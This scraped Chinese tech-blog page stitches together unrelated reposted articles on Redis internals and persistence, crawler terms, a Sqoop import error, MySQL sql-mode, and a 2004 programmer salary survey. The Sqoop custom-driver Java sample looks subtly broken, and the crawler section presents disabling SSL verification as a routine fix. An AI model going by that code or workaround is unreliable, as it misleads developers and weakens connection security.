"redis.call('set','gupao','666') while true do end" 0 因为要保证脚本运行的原子性,如果脚本执行了一部分终止,那就违背了脚本原子性的要求。最终要保证脚本要么都执行,要么都不执行。 127.0.0.1:6379> script kill(error) UNKILLABLE Sorry the script already executed write commands against the dataset. You can either wait the scripttermination or kill the server in a hard way using the SHUTDOWN NOSAVE command. 遇到这种情况,只能通过 shutdown nosave 命令来强行终止 redis。 shutdown nosave 和 shutdown 的区别在于 shutdown nosave 不会进行持久化操作,意味着发生在上一次快照后的数据库修改都会丢失。 4、Redis 为什么这么快? 4.1 Redis到底有多快? 根据官方的数据,Redis 的 QPS 可以达到 10 万左右(每秒请求数)。 4.2 Redis为什么这么快? 总结:1)纯内存结构、2)单线程、3)多路复用 4.2.1 内存 KV 结构的内存数据库,时间复杂度 O(1)。 第二个,要实现这么高的并发性能,是不是要创建非常多的线程? 恰恰相反,Redis 是单线程的。 4.2.2 单线程 单线程有什么好处呢? 1、没有创建线程、销毁线程带来的消耗 2、避免了上线文切换导致的 CPU 消耗 3、避免了线程之间带来的竞争问题,例如加锁释放锁死锁等等 4.2.3 异步非阻塞 异步非阻塞 I/O,多路复用处理并发连接。 4.3 Redis为什么是单线程的? 不是白白浪费了 CPU 的资源吗? 因为单线程已经够用了,CPU 不是 redis 的瓶颈。Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现,而且 CPU 不会成为瓶颈,那就顺理成章地采用单线程的方案了。 4.4 单线程为什么这么快? 因为 Redis 是基于内存的操作,我们先从内存开始说起。 4.4.1 虚拟存储器(虚拟内存 Vitual Memory) 名词解释:主存:内存;辅存:磁盘(硬盘) 计算机主存(内存)可看作一个由 M 个连续的字节大小的单元组成的数组,每个字节有一个唯一的地址,这个地址叫做物理地址(PA)。早期的计算机中,如果 CPU 需要内存,使用物理寻址,直接访问主存储器。 这种方式有几个弊端: 1、在多用户多任务操作系统中,所有的进程共享主存,如果每个进程都独占一块物理地址空间,主存很快就会被用完。我们希望在不同的时刻,不同的进程可以共用同一块物理地址空间。 2、如果所有进程都是直接访问物理内存,那么一个进程就可以修改其他进程的内存数据,导致物理地址空间被破坏,程序运行就会出现异常。 为了解决这些问题,我们就想了一个办法,在 CPU 和主存之间增加一个中间层。CPU 不再使用物理地址访问,而是访问一个虚拟地址,由这个中间层把地址转换成物理地址,最终获得数据。这个中间层就叫做虚拟存储器(Virtual Memory)。 具体的操作如下所示: 在每一个进程开始创建的时候,都会分配一段虚拟地址,然后通过虚拟地址和物理地址的映射来获取真实数据,这样进程就不会直接接触到物理地址,甚至不知道自己调用的哪块物理地址的数据。 目前,大多数操作系统都使用了虚拟内存,如 Windows 系统的虚拟内存、Linux 系统的交换空间等等。Windows 的虚拟内存(pagefile.sys)是磁盘空间的一部分。 在 32 位的系统上,虚拟地址空间大小是 2^32bit=4G。在 64 位系统上,最大虚拟地址空间大小是多少? 是不是 2^64bit=10241014TB=1024PB=16EB?实际上没有用到 64 位,因为用不到这么大的空间,而且会造成很大的系统开销。Linux 一般用低 48 位来表示虚拟地址空间,也就是 2^48bit=256T。 cat /proc/cpuinfo address sizes : 40 bits physical, 48 bits virtual 实际的物理内存可能远远小于虚拟内存的大小。 总结:引入虚拟内存,可以提供更大的地址空间,并且地址空间是连续的,使得程序编写、链接更加简单。并且可以对物理内存进行隔离,不同的进程操作互不影响。还可以通过把同一块物理内存映射到不同的虚拟地址空间实现内存共享。 4.4.2 用户空间和内核空间 为了避免用户进程直接操作内核,保证内核安全,操作系统将虚拟内存划分为两部分,一部分是内核空间(Kernel-space)/ˈkɜːnl /,一部分是用户空间(User-space)。 内核是操作系统的核心,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的权限。 内核空间中存放的是内核代码和数据,而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间,它们都处于虚拟空间中,都是对物理地址的映射。 在 Linux 系统中, 内核进程和用户进程所占的虚拟内存比例是 1:3。 当进程运行在内核空间时就处于内核态,而进程运行在用户空间时则处于用户态。 进程在内核空间以执行任意命令,调用系统的一切资源;在用户空间只能执行简单的运算,不能直接调用系统资源,必须通过系统接口(又称 system call),才能向内核发出指令。 top 命令: us 代表 CPU 消耗在 User space 的时间百分比; sy 代表 CPU 消耗在 Kernel space 的时间百分比。 4.4.3 进程切换(上下文切换) 多任务操作系统是怎么实现运行远大于 CPU 数量的任务个数的? 当然,这些任务实际上并不是真的在同时运行,而是因为系统通过时间片分片算法,在很短的时间内,将 CPU 轮流分配给它们,造成多任务同时运行的错觉。 为了控制进程的执行,内核必须有能力挂起正在 CPU 上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。 什么叫上下文? 在每个任务运行前,CPU 都需要知道任务从哪里加载、又从哪里开始运行,也就是说,需要系统事先帮它设置好 CPU 寄存器和程序计数器(ProgramCounter),这个叫做 CPU 的上下文。 而这些保存下来的上下文,会存储在系统内核中,并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响,让任务看起来还是连续运行。 在切换上下文的时候,需要完成一系列的工作,这是一个很消耗资源的操作。 4.4.4 进程的阻塞 正在运行的进程由于提出系统服务请求(如 I/O 操作),但因为某种原因未得到操作系统的立即响应,该进程只能把自己变成阻塞状态,等待相应的事件出现后才被唤醒。 进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理,而 Linux 用文件描述符来标识每个文件对象。 文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候,如果这块数据已经存在于用户进程的页内存中,就直接从内存中读取数据。如果数据不存在,则先将数据从磁盘加载数据到内核缓冲区中,再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝,两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时,如果当前 FD 不可读,系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的,从内核缓冲区拷贝到用户空间,也是阻塞的,直到 copy complete,内核返回结果,用户进程才解除 block 的状态。 为了解决阻塞的问题,我们有几个思路。 1、在服务端创建多个线程或者使用线程池,但是在高并发的情况下需要的线程会很多,系统无法承受,而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询,在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O),这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接,而是由内核替应用程序监视文件描述符。 客户端在操作的时候,会产生具有不同事件类型的 socket。在服务端,I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中,然后通过文件事件分派器(File event Dispatcher),转发到不同的事件处理器中。 多路复用有很多的实现,以 select 为例,当用户进程调用了多路复用器,进程会被阻塞。内核会监视多路复用器负责的所有 socket,当任何一个 socket 的数据准备好了,多路复用器就会返回。这时候用户进程再调用 read 操作,把数据从内核缓冲区拷贝到用户空间。 所以,I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态,select() 函数就可以返回。 Redis 的多路复用, 提供了 select, epoll, evport, kqueue 几种选择,在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的,一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的,在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类,一类是 key 过期,一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期,我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据,从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时,才会判断该 key 是否已过期,过期则清除。该策略可以最大化地节省 CPU 资源,却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问,从而不会被清除,占用大量内存。 例如 String,在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况,每次写入 key 时,发现内存不够,调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间,会扫描一定数量的数据库的 expires 字典中一定数量的 key,并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略,是指当内存使用达到最大内存极限时,需要使用淘汰算法来决定清理掉哪些数据,以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0,64 位系统不限制内存,32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU,Least Recently Used:最近最少使用。判断最近被使用的时间,目前最远的数据优先被淘汰。 LFU,Least Frequently Used,最不常用,4.0 版本新增。 random,随机删除。 如果没有符合前提条件的 key 被淘汰,那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru,在保证正常服务的情况下,优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题:如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储,消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良,通过随机采样来调整算法的精度。如果淘汰策略是 LRU,则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题:如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位,这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳,而是设置为全局变量 server.lruclock 的值。 源码:server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron,默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值,它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time,可以提高执行效率。 OK,当对象里面已经有了 LRU 字段的值,就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度,思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新),该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位,按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候,它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下,可能会出现对象的 lru 大于 server.lruclock 的情况,如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构,消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下,已经能接近传统 LRU 算法了。 问题:除了消耗资源之外,传统 LRU 还有什么问题? 如图,假设 A 在 10 秒内被访问了 5 次,而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚,在同等的情况下,A 反而先被回收。 问题:要实现基于访问频率的淘汰机制,怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时,其被分为两部分: 高 16 位用来记录访问时间(单位为分钟,ldt,last decrement time) 低 8 位用来记录访问频率,简称 counter(logc,logistic counter) counter 是用基于概率的对数计数器实现的,8 位可以表示百万次的访问频率。 对象被读写的时候,lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由,lfu-log-factor 越大,counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减,也不能体现对象的热度。没有被访问的时候,计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制,如果值是 1 的话,N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快,很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机,都会导致内存中的数据丢失。为了实现重启后数据不丢失,Redis 提供了两种持久化的方案,一种是 RDB 快照(Redis DataBase),一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf, SNAPSHOTTING,其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案,注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的,只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径,dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题:为什么停止 Redis 服务的时候没有 save,重启数据还在? RDB 还有两种触发方式: b)shutdown 触发,保证服务器正常关闭。 c)flushall,RDB 文件是空的,没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据,这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器, Redis 不能处理其他命令。如果内存中的数据比较多,会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题,Redis 提供了第二种方式。 执行 bgsave 时,Redis 会在后台异步进行快照操作,快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write),RDB 持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段,一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器,触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件,它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候,redis 主进程会 fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程,频繁执行成本过高。 2、在一定间隔时间做一次备份,所以如果 redis 意外 down 掉的话,就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要,希望将损失降到最小,则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作,并追加到文件中。开启后,执行更改 Redis 数据的命令时,就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题:数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制,AOF 数据并没有真正地写入硬盘,而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大,怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中,随着 Redis 不断的进行,AOF 的文件会越来越大,文件越大,占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666,执行 1000 次,结果都是 xxx=666。 为了解决这个问题,Redis 新增了重写机制,当 AOF 文件的大小超过所设定的阈值时,Redis 就会启动 AOF 文件的内容压缩,只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中,AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率,即使使用默认的同步频率每秒同步一次,Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis,AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率,默认情况下,每秒同步一次的频率也具有较高的性能。在高并发的情况下,RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式,我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失,毫无疑问使用 RDB 是最好的,定时生成 RDB 快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制,而是应该两种一起用,在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据,因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-18 12:25:04
545
转载
转载文章
...证书,用于在互联网上建立加密连接并验证服务器身份。在HTTPS协议中,SSL证书能够确保客户端与服务器之间传输数据的安全性,防止信息被窃取或篡改。在本文的语境中,当网络爬虫遇到未安装有效SSL证书的网站时,会触发SSLError,此时可以通过设置requests库中的verify参数为False来忽略证书验证,从而继续爬取数据。 cookie , Cookie是一种由服务器发送到用户浏览器并存储在用户本地的小型文本文件。它通常包含识别用户会话或持久化用户状态的信息,如登录凭证、用户偏好等。在网络爬虫应用中,模拟用户登录状态常需要利用cookie,通过在HTTP请求头中携带已登录用户的cookie信息,使得爬虫可以像真实用户那样访问受权限保护的内容。 session , Session是指在一次用户会话过程中,服务器为该用户维护的状态信息集合。与cookie不同的是,session数据存储在服务器端,而客户端仅存储一个会话标识符(session ID),通常也以cookie的形式存在。在网络爬虫中使用session对象(如requests库中的requests.session()方法创建的对象),可以帮助爬虫维持与服务器之间的状态信息,实现连续操作间的关联和认证,这对于处理需要保持登录状态或进行多次交互的网页抓取任务尤为关键。
2023-03-01 12:40:55
564
转载
Sqoop
...利用Sqoop进行大数据生态中RDBMS与Hadoop之间数据迁移时,偶尔会遇到ClassNotFoundException这一特定错误,尤其是在处理特殊类型数据库表列的时候。本文将针对这个问题进行深入剖析,并通过实例代码探讨解决方案。 1. Sqoop工具简介与常见应用场景 Sqoop(SQL-to-Hadoop)作为一款强大的数据迁移工具,主要用于在关系型数据库(如MySQL、Oracle等)和Hadoop生态组件(如HDFS、Hive等)间进行高效的数据导入导出操作。不过在实际操作的时候,由于各家数据库系统对数据类型的定义各不相同,Sqoop这家伙在处理一些特定的数据库表字段类型时,可能就会尥蹶子,给你抛出个ClassNotFoundException异常来。 2. “ClassNotFoundException”问题浅析 场景还原: 假设我们有一个MySQL数据库表,其中包含一种自定义的列类型MEDIUMBLOB。当尝试使用Sqoop将其导入到HDFS或Hive时,可能会遭遇如下错误: bash java.lang.ClassNotFoundException: com.mysql.jdbc.MySQLBlobInputStream 这是因为Sqoop在默认配置下可能并不支持所有数据库特定的内置类型,尤其是那些非标准的或者用户自定义的类型。 3. 解决方案详述 3.1 自定义jdbc驱动类映射 为了解决上述问题,我们需要帮助Sqoop识别并正确处理这些特定的列类型。Sqoop这个工具超级贴心,它让用户能够自由定制JDBC驱动的类映射。你只需要在命令行耍个“小魔法”,也就是加上--map-column-java这个参数,就能轻松指定源表中特定列在Java环境下的对应类型啦,就像给不同数据类型找到各自合适的“变身衣裳”一样。 例如,对于上述的MEDIUMBLOB类型,我们可以将其映射为Java的BytesWritable类型: bash sqoop import \ --connect jdbc:mysql://localhost/mydatabase \ --table my_table \ --columns 'id, medium_blob_column' \ --map-column-java medium_blob_column=BytesWritable \ --target-dir /user/hadoop/my_table_data 3.2 扩展Sqoop的JDBC驱动 另一种更为复杂但更为彻底的方法是扩展Sqoop的JDBC驱动,实现对特定类型的支持。通常来说,这意味着你需要亲自操刀,写一个定制版的JDBC驱动程序。这个驱动要能“接班” Sqoop自带的那个驱动,专门对付那些原生驱动搞不定的数据类型转换问题。 java // 这是一个简化的示例,实际操作中需要对接具体的数据库API public class CustomMySQLDriver extends com.mysql.jdbc.Driver { // 重写方法以支持对MEDIUMBLOB类型的处理 @Override public java.sql.ResultSetMetaData getMetaData(java.sql.Connection connection, java.sql.Statement statement, String sql) throws SQLException { ResultSetMetaData metadata = super.getMetaData(connection, statement, sql); // 对于MEDIUMBLOB类型的列,返回对应的Java类型 for (int i = 1; i <= metadata.getColumnCount(); i++) { if ("MEDIUMBLOB".equals(metadata.getColumnTypeName(i))) { metadata.getColumnClassName(i); // 返回"java.sql.Blob" } } return metadata; } } 然后在Sqoop命令行中引用这个自定义的驱动: bash sqoop import \ --driver com.example.CustomMySQLDriver \ ... 4. 思考与讨论 尽管Sqoop在大多数情况下可以很好地处理数据迁移任务,但在面对一些特殊的数据库表列类型时,我们仍需灵活应对。无论是对JDBC驱动进行小幅度的类映射微调,还是大刀阔斧地深度定制,最重要的一点,就是要摸透Sqoop的工作机制,搞清楚它背后是怎么通过底层的JDBC接口,把那些Java对象两者之间巧妙地对应和映射起来的。想要真正玩转那个功能强大的Sqoop数据迁移神器,就得在实际操作中不断摸爬滚打、学习积累。这样,才能避免被“ClassNotFoundException”这类让人头疼的小插曲绊住手脚,顺利推进工作进程。
2023-04-02 14:43:37
84
风轻云淡
转载文章
... 最终找到办法,就是mysql设置的问题,有my.ini的就找这个文件,没有的就找my.cnf(这个一般都在/ect/my.conf) 本作者使用的CentOS7.6系统: 然后打开MySql配置文件 然后找到[MySql] 然后找 sql-mode=STRICT_TRANS_TABLESNO_ENGINE_SUBSTITUTION 问题原因: 主要是MySQL使用了严格验证方式: 解决方法: 直接把sql-mode模式改变下 这个可能你我的不相同,你只要找到sql-mode 就好 然后把这句删掉,改成: sql-mode=NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION 然后在重启数据库 service mysqld restart 完美解决 更多教程:www.zcxsmart.com 本篇文章为转载内容。原文链接:https://blog.csdn.net/LizmWintac/article/details/126901852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 23:16:25
290
转载
转载文章
...是什么?为了取得真实数据,本刊用了2个月的时间进行深入调查与采访,希望这篇文章能在岁末年初之际,为大家带来深入的思考。 细分市场,其实软件从业人员除了程序员外,还囊括了很多的相关职业和角色,例如技术推广人、项目负责人、技术总监等,因此,凡与软件技术相关的工作或职业,都属于本专题关注之列。 程序员薪资调查报告 “软件人,今天薪资值多少?”大型网络调查活动从2004年10月初开始,在各大软件门户站点都开展了热点调查,截止11月底,在两个月的时间里,有近13000人参与并积极讨论了这个话题。 2004年,软件业人员结构处于什么分层? 2004年,开发人员实际收入多少? 2004年,开发人员使用最多的技术是什么? 2004年,影响收入的决定性因素到底是什么? …… 围绕以上种种问题,本刊设计了相关的调查与采访题目,在分析与统计开发者基本薪资情况下,还针对被调查者的专业背景、技术、软技能、公司福利以及影响薪资的关键因素做了相应的调查。 下面就让我们进入此次调查的数据现场。 2004年中国开发者平均月薪3500元 49%的开发者月薪不足3000,54%年薪不足4万(见表1、表2)。经历软件泡沫的投资家、管理者在对待员工的薪水上更为谨慎,但对开发者而言心理上却产生比较大的落差,在大环境如此的情况下,处于弱势的开发群体需要学会如何去适应环境,调整心态。 程序员占据大壁江山,升任技术总监者凤毛麟角 从本次的调查数据来看,程序员在所有调查者中占据主流,人数为一半还多,高级程序员也占了20%,这也是为什么开发者薪资普遍不高的主要原因之一。曾经业界大为盛行的国内缺乏高层次的软件人才的说法,这里似乎可以提供实在而有力的数据支持(见表3、表4)。 另外,从本次调查还得到了一个趋势:在做了3-5年的程序开发工作后,开始产生一定的人员分流现象。从有一定技术能力的程序员开始,到根据自己兴趣与爱好的二次择业,有相当部分的人员脱离编码一线,开始跨入技术主管、项目经理、技术支持、市场推广等角色。 不满者过半,普遍认为薪水太低 调查显示只有4%的人对薪水比较满意,近64%的人认为自己的薪水与社会同等能力开发人员相比偏低,这可以看出软件泡沫对开发人员造成的心理落差依然存在。人们普遍认为,软件业比较浮燥,所处其中的人也比较浮燥,但现在软件产业的发展越来越趋于理性和平和,只有先调整好自己的心态,平和地从基本功练起,薪水的价值才可能越来越得到不断提升。 软件开发,让女性走开 表5数据表明,开发者世界是一块绝对属于男性的天地,被调查者中有97%的人员属于男性。记者在采访中不止一次地发现,在软件公司中工作的女性很少,而从事一线编码工作的女性则是少之更少。一方面,软件开发这种技术创新与高挑战性、高压力的工作,男性更易于取得成果。另一方面,也有一部分中小企业对女性程序员不重视,甚至同工不同酬,也让一些希望就职此行业的女性永远地离开了这块阵地。 北京、上海、深圳、杭州成为程序员的最爱 地域对软件人员的薪资有很大的影响。北京以其政治、文化的优势集中了近19%的软件开发者,上海、深圳各占13%、10%,而杭州,以其良好的自然环境、人文环境及政府环境也吸引了5%的软件人才(见表6)。数据表明,拥有高校资源的城市先天性地占据着开发人才的绝对优势。而且,各项调查数据显示,地域也已不再是限制开发者流动的主要因素,尤其对于技术高手,他们几乎可以自由地在各大城市间来来往往。 情人虽好,糟糠之妻难下堂 哪些人在投资it企业,被调查者所在公司的规模如何?根据采访,几乎绝大多数的被调查者都将外企列在了第一选择,青睐之情溢于言表,但毕竟高高的门坎以及各种复杂因素,致使这些意愿大部分都难以实现。反而是那些遭到诸多抱怨的民营企业,尤其是占据31%的最高市场份额、员工数不足50人、管理不规范的中小软件公司,容纳了52%的开发者队伍。 c/c++、java成为翘楚,c实力强劲 调查显示,c/c++、java已是中国开发者的最爱,delphi依然延续着它的传奇之路,而c表现出了强大的后劲,相信这个微软公司推崇备至的开发利器在未来几年会如vb一样赢得开发者的信赖。 人气最旺的2大领域——企业信息化、通信 企业信息化、通信、通用软件开发、系统集成四大领域集中了目前开发者的大多数。加入wto之后,中国企业要与世界接轨,e化是必然的趋势,况且通信这个新兴行业以其门槛高、薪水高也吸引了许多开发者。企业信息化作为传统行业向网络化迈进的必然过程,容纳着很多软件人。另外,从市场角度看,移动、游戏开发、信息全三大热点领域对开发者也同样有极强诱惑力。 本科、计算机专业、部属院校大学毕业者成为中流砥柱 